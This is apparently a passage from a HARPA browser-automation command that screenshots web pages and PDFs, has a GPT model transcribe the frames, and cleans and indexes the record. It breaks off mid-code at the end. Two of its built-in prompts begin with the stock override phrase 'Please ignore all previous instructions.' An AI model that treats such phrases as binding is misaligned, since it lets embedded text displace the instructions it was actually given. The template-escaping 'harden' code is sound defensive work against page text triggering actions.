label: PACE REPAIR type: js args: captureInterval code: >- // FULL PAGE VISION · PACE REPAIR // Chrome refuses more than two screenshots per second and the limit cannot be raised, so // a repair pass keeps the same rhythm as the walk. This is also the landing point when a // repair frame is refused, which is why it does nothing except wait: the repair plan has // a fixed length, so a refused frame simply costs one entry and can never spin. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } const raw = String(args.captureInterval == null ? '' : args.captureInterval).replace(/[^0-9]/g, ''); const interval = Math.max(200, Math.min(5000, Number(raw) || 520)); await sleep(interval); return String(interval); param: scratch timeout: 30000 onFailure: '' silent: true - condition: '{{repairMode}} = pdf' label: REPAIR PDF SEGMENT type: loop list: repairPlan steps: - label: OPEN REPAIR PAGE type: navigate url: '{{pdfUrl}}#page={{item.page}}' waitForIdle: true onFailure: '' silent: true - label: SETTLE REPAIR PAGE type: wait for: custom-delay delay: 400 silent: true - label: APPEND REPAIR PDF FRAME type: js args: repairImages, view code: >- // FULL PAGE VISION · APPEND REPAIR FRAME // The same accumulation as the main walk, and for the same reason: a comma separated series // held in a real parameter is the only form proven to deliver several images to one prompt. // // arrayValue += ',' + viewValue -> a real parameter -> used in the prompt // // Two rules follow from that and must not be touched: // * the separator is a COMMA. HARPA splits the stored series on commas to resolve the // individual attachments. A newline joined series arrives as a single blob and only one // image reaches the model. // * the token travels as a JS ARGUMENT. Interpolating {{view}} inside a calc step coerces // the reference to text and breaks it, which surfaces as // "Failed to execute 'createImageBitmap'". // // This is the REPAIR variant and it reads its own slot. It used to read args['shots'], which // is not among its arguments: the accumulator was therefore undefined on every pass, the // series restarted from empty each time, and a repair that photographed ten frames handed // exactly one of them to the reading. The slot name is the whole fix. // // It also deliberately ignores the two guards the main walk needs. The frame ceiling counts // the frames of the WALK, and by the time a repair runs the walk has usually reached it, so // applying it here would refuse every repair frame on exactly the runs that need repairing. // The walk's abort flag means the same thing one step further on. The repair cannot run away // regardless: its plan has a fixed length, and a refused frame costs one entry of that plan // and nothing more. const arrayValue = args['repairImages'] || ''; const viewValue = args.view; if (!viewValue) { const S = window.__fpv || (window.__fpv = {}); S.repairMisses = (Number(S.repairMisses) || 0) + 1; throw new Error('repair frame not available yet'); } if (arrayValue === '') return viewValue; return arrayValue + ',' + viewValue; param: repairImages timeout: 60000 onFailure: PACE PDF REPAIR silent: true - label: PACE PDF REPAIR type: js args: captureInterval code: >- // FULL PAGE VISION · PACE REPAIR // Chrome refuses more than two screenshots per second and the limit cannot be raised, so // a repair pass keeps the same rhythm as the walk. This is also the landing point when a // repair frame is refused, which is why it does nothing except wait: the repair plan has // a fixed length, so a refused frame simply costs one entry and can never spin. function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } const raw = String(args.captureInterval == null ? '' : args.captureInterval).replace(/[^0-9]/g, ''); const interval = Math.max(200, Math.min(5000, Number(raw) || 520)); await sleep(interval); return String(interval); param: scratch timeout: 30000 onFailure: '' silent: true - condition: '{{repairMode}} = html' label: RESTORE POSITION AFTER REPAIR type: js args: '' code: >- // FULL PAGE VISION · RESTORE POSITION AFTER REPAIR // Puts the page back where the reader left it, so a repair pass is invisible afterwards. function docScroller() { return document.scrollingElement || document.documentElement || document.body; } try { const S = window.__fpv || {}; const el = (S.el && document.contains(S.el)) ? S.el : null; const home = Number(S.startY) || 0; if (el) { el.scrollTop = home; } else { try { window.scrollTo({ top: home, behavior: 'instant' }); } catch (e) { /* ignore */ } try { window.scrollTo({ top: home, behavior: 'auto' }); } catch (e) { /* ignore */ } try { window.scroll(0, home); } catch (e) { /* ignore */ } const se = docScroller(); if (se) se.scrollTop = home; if (document.body) document.body.scrollTop = home; } S.repairing = false; return 'restored'; } catch (e) { return 'skipped'; } param: scratch timeout: 30000 onFailure: '' silent: true - condition: '{{repairMode}} = pdf' label: RETURN AFTER PDF REPAIR type: navigate url: '{{pdfUrl}}' waitForIdle: false onFailure: '' silent: true - condition: - '{{repairMode}} = html' - '{{repairMode}} = pdf' label: COUNT REPAIR FRAMES type: js args: repairImages code: >- // FULL PAGE VISION · COUNT A FRAME SERIES // Answers "did the repair capture actually produce frames" with a NUMBER. // // The obvious way to ask that is a condition on the series itself. That must never happen: a // frame token is a reference, not a string, and interpolating the series into a condition or // a calc value coerces it to text and destroys it - the failure surfaces later as // "Failed to execute 'createImageBitmap'". The series therefore only ever travels as a JS // argument, and only this count comes back out. const raw = String(args.repairImages == null ? '' : args.repairImages); const parts = raw.split(',').map(function (s) { return s.trim(); }).filter(function (s) { return s.length > 0; }); return { parts: parts.length, ok: parts.length > 0 ? 'yes' : 'no' }; param: repairCount timeout: 30000 onFailure: '' silent: true - condition: '{{repairCount.ok}} = yes' label: MATERIALIZE REPAIR type: calc func: set param: batchImages value: '{{repairImages}}' format: '' - condition: '{{segmentNotes}} =' label: CLEAR RAW BEFORE THIRD READING type: calc func: set param: rawSegment value: '' format: '' - condition: '{{segmentNotes}} =' label: READ SEGMENT AGAIN type: gpt prompt: >- Please ignore all previous instructions. Write only in {{outputLanguage}}. Attached are {{range.count}} screenshots of one web page, in order, top to bottom. They are frames {{range.from}} to {{range.to}} of {{shotCount}}. They were photographed again for this attempt, so these are fresh pixels. Two earlier attempts at these images came back empty. Do not aim for a polished record this time — aim for something rather than nothing. Write what you can see. One `#### Frame N` heading per image, starting at Frame {{range.from}} and counting upwards, then plain bullet lines underneath saying what stands there: text as text, transcribed as exactly as you can manage, and a description of anything shown as a picture, a chart or a control - what it depicts, not just that it exists. If an image is genuinely blank or illegible, write one bullet saying so and move to the next one. Do not explain, do not apologise, do not describe what you are about to do — just write the frames. {{focus.read}} [SCREENSHOTS]: {{batchImages}} [RECORD]: param: rawSegment isolated: true silent: true - condition: '{{segmentNotes}} =' label: SHAPE THE THIRD READING type: js args: rawSegment, segment, batchSize, shotCount code: >- // FULL PAGE VISION · SHAPE SEGMENT // The record has to look the same in every segment, because everything downstream reads // it: the citations, the rebuild, the data extraction, the export. Left to itself a model // invents a new layout per call - one segment comes back as "### [Panel 1]", the next as a // flat bullet list with no headings at all, the next as "[FRAME 1]" - and every one of them // starts counting at one again, so "frame 3" means three different places in one record. // // The prompt prescribes the shape. This step enforces it, deterministically and for free: // * every heading variant a model reaches for is recognised and rewritten to `#### Frame N` // * N is the ABSOLUTE frame number, so frame 47 is called frame 47 in every segment // * the bullet labels are folded into one closed vocabulary, with the original wording // preserved inside the line so nothing is lost // * a document title or source line that the model reprinted per segment is dropped, // because the record already carries one at the top // // THIS STEP MAY NEVER REFUSE A READING. // // It used to have a strict mode that returned nothing when the model had not produced exactly // one block per screenshot, on the theory that one more attempt would come back tidier. That // was a serious mistake: the shape of the record is cosmetic, the reading is what costs money, // and wiring the cheap thing to the expensive one turned a formatting nicety into a gate on // the whole ladder. A model that writes twenty panels instead of ten frames is not a failed // reading - it is a reading that needs renumbering, which happens here for free. With a forty // percent shape-deviation rate measured on real output, thirty segments became sixty-six model // calls instead of thirty, every one of them silent, plus a fresh ten-frame capture each time. // From the outside that is indistinguishable from a hang. // // So: whatever comes in, something usable comes out. Too many blocks are mapped onto the // frames proportionally, too few are numbered from the start of the segment and the shortfall // is stated, none at all are filed under the segment's frame span. The only empty answer is // for empty input, which is what the reading ladder above actually needs to know - and the // whole body is wrapped so that even an unforeseen error hands the raw reading back intact // rather than costing a request. function harden(value) { // Text lifted off a page can contain the engine's own {{parameter}} syntax. Left as it is, // it would be executed the next time this text is interpolated - fetching pages, running // searches - once per occurrence and once per answer. The documented escape makes the // braces literal without changing how the text reads. Idempotent by design. return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const seg = Math.max(1, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 1); const totalFrames = Math.max(0, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 0); const from = (seg - 1) * SIZE + 1; const to = totalFrames > 0 ? Math.min(totalFrames, seg * SIZE) : seg * SIZE; const want = Math.max(1, to - from + 1); const original = String(args.rawSegment == null ? '' : args.rawSegment).replace(/\r/g, '').trim(); if (original === '') return ''; let raw = original; try { // A model that is told "do not write a preamble" still sometimes writes one. Fenced output, // a repeated document title, a source line and a horizontal rule at the very top are all // duplicates of information the record already holds once. raw = raw.replace(/^```[a-z]*\s*\n/i, '').replace(/\n```\s*$/i, ''); const lead = raw.split('\n'); while (lead.length > 0) { const line = lead[0].trim(); const drop = line === '' || line === '---' || /^#{1,3}\s+\S/.test(line) && lead.length > 3 && !/frame|panel|image|screenshot|slide|shot/i.test(line) || /^[-*]?\s*\**\s*(source|url|page|title|link)\s*\**\s*:/i.test(line) || /^(here (is|are)|below (is|are)|sure[,!.]|certainly[,!.]|i('| wi)ll |this (is|segment))/i.test(line); if (!drop) break; lead.shift(); } raw = lead.join('\n').trim(); if (raw === '') return ''; // Canonical bullet labels. The original wording is kept inside the line, so a speech bubble // is still recognisable as a speech bubble - it is simply filed under Text like every other // piece of transcribed writing. const LABELS = [\ ['Heading', /^(heading|title|header|section title|chapter title)$/i, false],\ ['Table', /^(table|grid|matrix|comparison)$/i, false],\ ['Data', /^(data|numbers?|values?|stats?|statistics|metrics?|price|prices|pricing|score|scores|rank(ing)?s?)$/i, false],\ ['UI', /^(ui|ui element|navigation|navigation ui|nav|nav bar|navbar|menu|button|buttons|link|links|form|form field|input|control|controls|tab|tabs|toolbar|footer|footer nav|breadcrumb|pagination)$/i, false],\ ['Visual', /^(visual|illustration|image|picture|photo|photograph|art|artwork|drawing|panel art|graphic|icon|logo|avatar|chart|diagram|figure|screenshot|map)$/i, true],\ ['Text', /^(text|speech bubble|speech|dialogue|dialog|narration|narration box|narrative box|text box|textbox|caption|body|body text|paragraph|quote|sound effect|sfx|system text|system window|system message|label|note|footnote|banner|banner box|top text box|bottom banner box|notification)$/i, true],\ ['Cut', /^(cut|continues|continued|continuation|bridged|carry over|spans)$/i, false],\ ['Gap', /^(gap|unreadable|illegible|blank|empty|missing|cut off)$/i, false]\ ]; function normaliseLine(line) { const m = line.match(/^(\s*)([-*+]|\d+[.)])\s+\**\s*([A-Za-z][A-Za-z /_-]{1,40}?)\s*\**\s*:\s*\**\s*(.*)$/); if (!m) return line; const indent = m[1]; const bullet = /^\d/.test(m[2]) ? '-' : '-'; const rawLabel = m[3].trim(); let rest = m[4]; for (let i = 0; i < LABELS.length; i++) { if (!LABELS[i][1].test(rawLabel)) continue; const canonical = LABELS[i][0]; const keepOriginal = LABELS[i][2] && rawLabel.toLowerCase() !== canonical.toLowerCase(); const prefix = keepOriginal ? rawLabel.toLowerCase() + ' — ' : ''; return indent + bullet + ' **' + canonical + ':** ' + prefix + rest.trim(); } return indent + bullet + ' **' + rawLabel + ':** ' + rest.trim(); } // Every heading shape a model reaches for, in one expression. const HEAD = /^[\s>*_]*(?:#{1,6})?[\s*_]*\[?\s*(?:frame|panel|image|screenshot|screen|slide|page|shot|fig(?:ure)?)\s*[#:\-]?\s*(\d+)\s*\]?\s*[:.\-]?[\s*_]*$/i; const lines = raw.split('\n'); const blocks = []; let current = null; let preamble = []; for (let i = 0; i < lines.length; i++) { const m = lines[i].match(HEAD); if (m) { current = { body: [] }; blocks.push(current); continue; } if (current === null) preamble.push(lines[i]); else current.body.push(lines[i]); } if (blocks.length === 0) { // No frame boundaries at all. The content is intact, only the per-frame granularity is // gone, so it is filed under the segment's frame span and marked as such rather than // being silently renumbered into something that would be wrong. const body = raw.split('\n').map(function (l) { return normaliseLine(l); }).join('\n'); return harden('#### Frames ' + from + '-' + to + '\n' + '- **Gap:** the reading did not separate these ' + want + ' frames; the content below covers all of them together.\n' + body.trim() + '\n'); } if (preamble.join('').trim() !== '') { blocks[0].body = preamble.concat(blocks[0].body); } // Mapping blocks onto frames. Equal counts is the normal case and maps one to one. More // blocks than images means the model cut the screenshots into panels: they are distributed // proportionally, so panels eleven and twelve of twenty land on frame six rather than all // surplus being dumped on the last one. Fewer blocks means it merged some: they are numbered // from the start of the segment and the shortfall is stated instead of being papered over. const out = []; let lastNumber = -1; for (let i = 0; i < blocks.length; i++) { const number = blocks.length > want ? Math.min(to, from + Math.floor(i * want / blocks.length)) : Math.min(to, from + i); const body = blocks[i].body .map(function (l) { return normaliseLine(l); }) .join('\n') .replace(/\n{3,}/g, '\n\n') .trim(); if (number === lastNumber && out.length > 0) { if (body) out[out.length - 1] += '\n' + body; continue; } lastNumber = number; out.push('#### Frame ' + number + '\n' + (body || '- **Gap:** nothing legible in this frame.')); } if (blocks.length < want) { out.push('- **Gap:** the reading separated ' + blocks.length + ' of the ' + want + ' frames in this segment; the rest were merged into the blocks above.'); } return harden(out.join('\n\n').replace(/\n{3,}/g, '\n\n').trim() + '\n'); } catch (e) { // Shaping is a convenience. If anything in it goes wrong the reading still has to reach the // record, hardened, rather than being reported as a failure that costs another request. return harden('#### Frames ' + from + '-' + to + '\n' + '- **Gap:** the reading could not be shaped (' + String((e && e.message) || e) + '); it is filed here unchanged.\n' + original); } param: segmentNotes timeout: 30000 onFailure: '' silent: true - condition: '{{segmentNotes}} =' label: COUNT FAILED SEGMENT type: calc func: increment param: failedSegments delta: '1' - condition: '{{segmentNotes}} =' label: MARK SEGMENT GAP type: calc func: set param: segmentNotes value: >- - **Gap:** [SEGMENT {{segment}} NOT READ - {{range.label}}. Three\ readings came back empty, one of them on freshly taken screenshots.\ These frames are missing from the record.] format: '' - label: RENDER SEGMENT PROGRESS type: js args: segment, batchSize, shotCount, segmentNotes code: >- // FULL PAGE VISION · SEGMENT PROGRESS // One line per finished segment. It exists because reading a long page is a minute of // silence otherwise: the readings themselves no longer go into the chat, so without this // there is nothing between "reading 7 segments" and the finished record. The bar is a // fixed ten cells wide whatever the segment count is, so the lines stay aligned under // each other and the eye only has to follow one moving edge. // // It also carries the honest status of each segment: a segment that had to be salvaged or // could not be read at all says so here, at the moment it happens, instead of only turning // up as a warning at the end. const CELLS = 10; // Everything is derived from the three numbers the loop already carries, so the line needs // no extra parameters set up around it. const SIZE = Math.max(1, Math.min(10, Number(args.batchSize) || 10)); const shots = Math.max(1, Number(String(args.shotCount || '').replace(/[^0-9]/g, '')) || 1); const done = Math.max(0, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 0); const total = Math.max(1, Math.ceil(shots / SIZE)); const from = (done - 1) * SIZE + 1; const to = Math.min(shots, done * SIZE); const label = 'frames ' + from + '-' + to; const body = String(args.segmentNotes == null ? '' : args.segmentNotes); const ratio = Math.max(0, Math.min(1, done / total)); const filled = Math.round(ratio * CELLS); const bar = new Array(filled + 1).join('▰') + new Array(CELLS - filled + 1).join('▱'); const percent = Math.round(ratio * 100); const words = body.replace(/[#*>`\-]+/g, ' ').replace(/\s+/g, ' ').trim(); const wordCount = words === '' ? 0 : words.split(' ').length; const frames = (body.match(/^#### Frames? /gm) || []).length; let status; if (/NOT READ/.test(body)) { status = '⚠️ not read'; } else if (/the reading separated \d+ of the/.test(body) || /did not separate these/.test(body)) { status = wordCount + ' words · 🔧 salvaged'; } else { status = wordCount + ' words'; } return { line: '`' + bar + '` **' + done + '/' + total + '** · ' + label + ' · ' + status, percent: percent, words: wordCount, frames: frames }; param: progress timeout: 30000 onFailure: '' silent: true - label: REPORT SEGMENT PROGRESS type: say message: '{{progress.line}}' - label: APPEND SEGMENT RECORD type: js args: notes, segmentNotes, segment, range code: >- // FULL PAGE VISION · APPEND SEGMENT RECORD // Adds one finished segment to the growing record. It looks like a job for a CALC step, and // it used to be one: // // calc set notes = '{{notes}}\n\n===== SEGMENT n =====\n{{segmentNotes}}' // // That form is wrong for this particular value, for a documented reason. The shaper armours // the reading by rewriting `{{` to `{{\`, which is the engine's own escape - and the engine // defines that escape as consumed on interpolation: `{{\page}}` is REPLACED with the literal // `{{page}}`. A CALC value is interpolated. So the very first append stripped the armour off // the reading, and from the second segment onwards the record was carried through the // template engine unprotected, with `{{page}}` and `{{serp x}}` lifted verbatim off the page // sitting in it, live. Re-armouring at the end cannot undo a page fetch that already happened. // // Arguments are the way out, and it is the same rule the frame tokens already live by: a // value that must not be interpolated travels as a JS argument. Nothing here passes through // the template engine, the armour is re-applied to the result, and the escape is idempotent, // so a record that arrives already armoured stays at exactly one layer. // // It is also cheaper. The old form re-scanned the entire accumulated record for parameters on // every single segment - on a thirty segment walk that is a quadratic amount of template // scanning over a document that can pass half a million characters. function harden(value) { return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const previous = String(args.notes == null ? '' : args.notes); const body = String(args.segmentNotes == null ? '' : args.segmentNotes).trim(); const seg = Math.max(1, Number(String(args.segment || '').replace(/[^0-9]/g, '')) || 1); let span = ''; try { const r = args.range; if (r && typeof r === 'object' && r.label) span = String(r.label); else if (r) span = String(r); } catch (e) { span = ''; } const marker = '===== SEGMENT ' + seg + (span ? ' · ' + span : '') + ' ====='; const block = marker + '\n' + (body || '- **Gap:** nothing was recorded for this segment.'); if (previous.trim() === '') return harden(block); return harden(previous.replace(/\s+$/, '') + '\n\n' + block); param: notes timeout: 60000 onFailure: '' silent: true - label: DETECT REPEATED CHROME type: js args: notes code: >- // FULL PAGE VISION · DETECT REPEATED CHROME // Finds the lines that come back on screen after screen: cookie banners, navigation // bars, sticky footers, share rails, and on serialised pages the chapter or series // header that is reprinted with every scroll. They are transcribed once per frame, so // on a hundred frame page they are paid for a hundred times - and paid for again in // every single answer, because the record is sent along with each one. // // This step only NOMINATES candidates. It never deletes anything, because a repeated // line is not automatically noise: a recurring table header or a price that genuinely // appears in every row is content. The judgement is left to the model in the next step, // and the surgery to the step after that. function harden(value) { // Text lifted off a page can contain the engine's own {{parameter}} syntax. Left as it is, // it would be executed the next time this text is interpolated - fetching pages, running // searches - once per occurrence and once per answer. The documented escape makes the // braces literal without changing how the text reads. Idempotent by design. return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const raw = String(args.notes == null ? '' : args.notes); const segments = raw.split(/^=====.*=====$/m).filter(function (s) { return s.trim().length > 0; }); const total = segments.length; const out = { count: 0, chars: 0, segments: total, list: '', ok: 'no' }; if (total < 3) return out; function normalise(line) { return line .toLowerCase() .replace(/[\u2018\u2019\u201c\u201d]/g, "'") .replace(/[^a-z0-9\u00c0-\u024f\u0400-\u04ff\u0590-\u05ff\u0600-\u06ff\u4e00-\u9fff]+/g, ' ') .replace(/\s+/g, ' ') .trim(); } const seen = {}; for (let i = 0; i < total; i++) { const lines = segments[i].split('\n'); const here = {}; for (let j = 0; j < lines.length; j++) { const original = lines[j].trim(); if (original.length < 3 || original.length > 200) continue; const key = normalise(original); if (key.length < 3) continue; if (here[key]) continue; here[key] = true; if (!seen[key]) seen[key] = { hits: 0, sample: original, occurrences: 0, chars: 0 }; seen[key].hits += 1; } for (let j = 0; j < lines.length; j++) { const original = lines[j].trim(); if (original.length < 3 || original.length > 200) continue; const key = normalise(original); if (key.length < 3 || !seen[key]) continue; seen[key].occurrences += 1; seen[key].chars += original.length + 1; } } const minHits = Math.max(3, Math.ceil(total * 0.5)); const picked = []; for (const key in seen) { if (!Object.prototype.hasOwnProperty.call(seen, key)) continue; const rec = seen[key]; if (rec.hits < minHits) continue; picked.push({ key: key, sample: rec.sample, hits: rec.hits, chars: rec.chars - rec.sample.length - 1 }); } picked.sort(function (a, b) { return b.chars - a.chars; }); const top = picked.slice(0, 40); out.count = top.length; out.chars = top.reduce(function (a, b) { return a + Math.max(0, b.chars); }, 0); out.list = harden(top.map(function (p) { return p.sample + ' [seen on\ ' + p.hits + ' of ' + total + ' screens]'; }).join('\n')); out.ok = top.length > 0 ? 'yes' : 'no'; return out; param: chrome timeout: 30000 onFailure: '' silent: true - condition: '{{chrome.count}} > 0' label: CLASSIFY REPEATED CHROME type: gpt prompt: >- Please ignore all previous instructions. Answer in English regardless of any other setting. Below are lines that were transcribed from a long web page and came back on most of its screens. Some of them are page furniture: navigation bars, cookie or consent banners, sticky headers and footers, share rails, advertisement labels, back-to-top buttons, or the series and chapter title that a reading site reprints above every screen. Others are genuine content that simply happens to repeat: a recurring table header, a price that belongs to every row, a legal notice that carries meaning, a heading that structures the document. Decide for each line. Output one line per item you judge to be page furniture, in this exact form and nothing else: CHROME: <the line exactly as given, without the bracketed counter> Rules: - When in doubt, leave the line out. A wrongly kept line costs a few tokens; a wrongly removed line costs information. - Never output anything that carries a number, a date, a name or a statement about the subject of the page. - No preamble, no explanation, no closing remark. If none of them are furniture, output nothing at all. [CANDIDATE LINES] {{chrome.list}} [VERDICT]: param: chromeVerdict isolated: true silent: true - condition: '{{chrome.count}} > 0' label: STRIP CLASSIFIED CHROME type: js args: notes, chromeVerdict code: >- // FULL PAGE VISION · STRIP CLASSIFIED CHROME // Removes exactly the lines the model classified as page furniture and keeps one copy // of each in a PAGE CHROME block at the head of the record. Nothing is destroyed: the // text is still there, it is simply there once instead of once per screen, so citations // still resolve and the count of segments does not change. // // If the classification step returned nothing usable, this step is a no-op and hands the // record back untouched. A failed cleanup must never cost content. function harden(value) { // Text lifted off a page can contain the engine's own {{parameter}} syntax. Left as it is, // it would be executed the next time this text is interpolated - fetching pages, running // searches - once per occurrence and once per answer. The documented escape makes the // braces literal without changing how the text reads. Idempotent by design. return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\'); } const raw = String(args.notes == null ? '' : args.notes); const verdict = String(args.chromeVerdict == null ? '' : args.chromeVerdict); function normalise(line) { return line .toLowerCase() .replace(/[\u2018\u2019\u201c\u201d]/g, "'") .replace(/[^a-z0-9\u00c0-\u024f\u0400-\u04ff\u0590-\u05ff\u0600-\u06ff\u4e00-\u9fff]+/g, ' ') .replace(/\s+/g, ' ') .trim(); } const kill = {}; const keptSamples = []; const verdictLines = verdict.split('\n'); for (let i = 0; i < verdictLines.length; i++) { let line = verdictLines[i].trim(); if (line.indexOf('CHROME:') !== 0) continue; line = line.slice(7).trim().replace(/\s*\[seen on .*$/, '').trim();\ const key = normalise(line);\ if (key.length < 3) continue;\ if (!kill[key]) {\ kill[key] = true;\ keptSamples.push(line);\ }\ }\ \ \ if (keptSamples.length === 0) return raw;\ \ \ const lines = raw.split('\n');\ \ const out = [];\ \ let removed = 0;\ \ for (let i = 0; i < lines.length; i++) {\ const trimmed = lines[i].trim();\ if (trimmed.length >= 3 && trimmed.length <= 200 && kill[normalise(trimmed)]) {\ removed++;\ continue;\ }\ out.push(lines[i]);\ }\ \ \ if (removed === 0) return raw;\ \ \ const header = [\ '===== PAGE CHROME · repeated on every screen, listed once =====',\ ''\ ].concat(keptSamples.map(function (s) { return '- ' + s;\ })).concat(['']).join('\n');\ \ \ return harden(header + out.join('\n').replace(/\n{4,}/g, '\n\n\n'));\ param: notes\ timeout: 30000\ onFailure: ''\ silent: true\ - condition: '{{chrome.count}} > 0'\ label: REPORT CHROME CLEANUP\ type: say\ message: >-\ 🧹 {{chrome.count}} repeated line(s) folded into one block\ (~{{chrome.chars}} characters saved on every later answer).\ - label: MEASURE RECORD\ type: js\ args: notes\ code: >-\ // FULL PAGE VISION · MEASURE RECORD\ \ // Sizes the merged vision record so the command can decide whether a\ single prompt can\ \ // carry it or whether it has to be condensed slice by slice first.\ \ const raw = String(args.notes == null ? '' : args.notes);\ \ const body = raw.replace(/=====[^=]*=====/g, ' ').replace(/\s+/g, '\ ').trim();\ \ const segments = (raw.match(/=====\s*SEGMENT\s+\d+/g) || []).length;\ \ const gaps = (raw.match(/NOT READ/g) || []).length;\ \ const chars = body.length;\ \ \ return {\ ok: chars > 0 ? 'yes' : 'no',\ chars: chars,\ words: body ? body.split(' ').length : 0,\ tokens: Math.ceil(chars / 3.6),\ segments: segments,\ gaps: gaps\ };\ param: record\ timeout: 30000\ onFailure: ''\ silent: true\ - label: USE THE FULL RECORD\ type: calc\ func: set\ param: payload\ value: '{{notes}}'\ format: ''\ - label: REPORT RECORD\ type: say\ message: >-\ ✅ Record: {{shotCount}} frames · {{record.segments}} segment(s) ·\ ~{{record.words}} words\ - condition: '{{failedSegments}} > 0'\ label: WARN FAILED SEGMENTS\ type: say\ message: >-\ ⚠️ **{{failedSegments}}** segment(s) could not be read and are marked as\ gaps in the record. Everything else is intact — pick RETRY in the\ follow-up menu if you want the run repeated.\ - label: HARDEN THE RECORD\ type: group\ steps:\ - label: HARDEN PAYLOAD\ type: js\ args: payload\ code: >-\ // FULL PAGE VISION · HARDEN TEXT\ \ // The one piece of armour this command cannot do without.\ \ //\ \ // The frames are read verbatim, so whatever stands on the page ends up\ inside a parameter -\ \ // and on a page that documents a template language, that includes\ things like {{page}},\ \ // {{serp query}} or {{transcript}}. The moment such a record is\ interpolated into the next\ \ // prompt, those look exactly like real system parameters: the engine\ goes off and fetches a\ \ // whole page, runs a web search or pulls a transcript, once per\ occurrence, for every answer\ \ // that carries the record. A documentation page with forty examples in\ it turns a two second\ \ // step into minutes of work that nobody asked for. It looks like a\ hang; it is a record\ \ // quoting the engine's own syntax back at it.\ \ //\ \ // The cure is the escape the engine itself defines: a backslash after\ the opening braces\ \ // marks them as literal. The text still reads as {{page}} for a human\ and for the model, it\ \ // simply stops being a command. Idempotent, so text that has already\ been hardened is left\ \ // alone rather than growing a second backslash on every pass.\ \ function harden(value) {\ return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\');\ }\ \ \ // The step is used on several different slots, so it accepts whichever\ one it was given.\ \ const candidates = ['payload', 'gpt', 'notes', 'text', 'condensed',\ 'segmentNotes'];\ \ let raw = '';\ \ for (let i = 0; i < candidates.length; i++) {\ if (args[candidates[i]] != null && String(args[candidates[i]]) !== '') {\ raw = args[candidates[i]];\ break;\ }\ }\ \ return harden(raw);\ param: payload\ timeout: 30000\ onFailure: ''\ silent: true\ - label: HARDEN NOTES\ type: js\ args: notes\ code: >-\ // FULL PAGE VISION · HARDEN TEXT\ \ // The one piece of armour this command cannot do without.\ \ //\ \ // The frames are read verbatim, so whatever stands on the page ends up\ inside a parameter -\ \ // and on a page that documents a template language, that includes\ things like {{page}},\ \ // {{serp query}} or {{transcript}}. The moment such a record is\ interpolated into the next\ \ // prompt, those look exactly like real system parameters: the engine\ goes off and fetches a\ \ // whole page, runs a web search or pulls a transcript, once per\ occurrence, for every answer\ \ // that carries the record. A documentation page with forty examples in\ it turns a two second\ \ // step into minutes of work that nobody asked for. It looks like a\ hang; it is a record\ \ // quoting the engine's own syntax back at it.\ \ //\ \ // The cure is the escape the engine itself defines: a backslash after\ the opening braces\ \ // marks them as literal. The text still reads as {{page}} for a human\ and for the model, it\ \ // simply stops being a command. Idempotent, so text that has already\ been hardened is left\ \ // alone rather than growing a second backslash on every pass.\ \ function harden(value) {\ return String(value == null ? '' : value).replace(/\{\{(?!\\)/g, '{{\\');\ }\ \ \ // The step is used on several different slots, so it accepts whichever\ one it was given.\ \ const candidates = ['payload', 'gpt', 'notes', 'text', 'condensed',\ 'segmentNotes'];\ \ let raw = '';\ \ for (let i = 0; i < candidates.length; i++) {\ if (args[candidates[i]] != null && String(args[candidates[i]]) !== '') {\ raw = args[candidates[i]];\ break;\ }\ }\ \ return harden(raw);\ param: notes\ timeout: 30000\ onFailure: ''\ silent: true\ - condition: '{{record.chars}} > 60000'\ label: CHOOSE HOW THE RECORD IS READ\ type: group\ steps:\ - label: INDEX THE RECORD INTO PASSAGES\ type: js\ args: payload\ code: >-\ // FULL PAGE VISION · PASSAGE INDEX\ \ // Cuts the finished record into numbered passages so that a later\ request can be given the\ \ // part it needs instead of the whole thing.\ \ //\ \ // The cut follows the record's own seams. Every passage is exactly one\ `#### Frame N` block,\ \ // which means a passage never straddles two frames and the frame number\ is therefore an\ \ // honest citation: a reader can scroll back to that screen and check\ the claim. A frame that\ \ // is longer than MAX_PASSAGE on its own is split into parts that keep\ the same frame number,\ \ // because the alternative - a passage that quietly spans frames 7 to 9\ - would make every\ \ // citation a guess.\ \ //\ \ // Nothing is thrown away here. The index is a second view of the\ record, not a replacement:\ \ // the full record stays in `payload` and is still what the export\ writes and what FULL RECORD\ \ // sends.\ \ const MAX_PASSAGE = 2400;\ \ \ const raw = String(args.payload == null ? '' : args.payload);\ \ if (raw.trim() === '') {\ return { chunks: [], totalChunks: 0, totalChars: 0, frames: 0, ok: 'no' };\ }\ \ \ // Frame headings are the seam. Segment markers are dropped: they carry\ no content and would\ \ // otherwise become passages of their own.\ \ const parts = raw.split(/\n(?=#### Frames? )/);\ \ const chunks = [];\ \ let frames = 0;\ \ let totalChars = 0;\ \ \ for (let p = 0; p < parts.length; p++) {\ const block = parts[p].replace(/^={3,}[^\n]*={3,}\n?/gm, '').trim();\ if (block === '') continue;\ \ const head = block.match(/^#### (Frames? [\d\-]+)/);\ const label = head ? head[1] : 'Preamble';\ if (head) frames++;\ \ totalChars += block.length;\ \ if (block.length <= MAX_PASSAGE) {\ chunks.push({ id: 'P' + (chunks.length + 1), frame: label, text: block, part: 0 });\ continue;\ }\ \ // A long frame is cut on bullet boundaries, never mid-bullet: a half bullet is a half fact.\ const lines = block.split('\n');\ let buf = '';\ let part = 1;\ for (let i = 0; i < lines.length; i++) {\ const line = lines[i];\ if (buf !== '' && buf.length + line.length + 1 > MAX_PASSAGE) {\ chunks.push({\ id: 'P' + (chunks.length + 1),\ frame: label,\ text: (part > 1 ? '#### ' + label + ' (part ' + part + ')\n' : '') + buf.trim(),\ part: part\ });\ part++;\ buf = '';\ }\ buf += (buf === '' ? '' : '\n') + line;\ }\ if (buf.trim() !== '') {\ chunks.push({\ id: 'P' + (chunks.length + 1),\ frame: label,\ text: (part > 1 ? '#### ' + label + ' (part ' + part + ')\n' : '') + buf.trim(),\ part: part\ });\ }\ }\ \ \ return {\ chunks: chunks,\ totalChunks: chunks.length,\ totalChars: totalChars,\ frames: frames,\ ok: chunks.length > 0 ? 'yes' 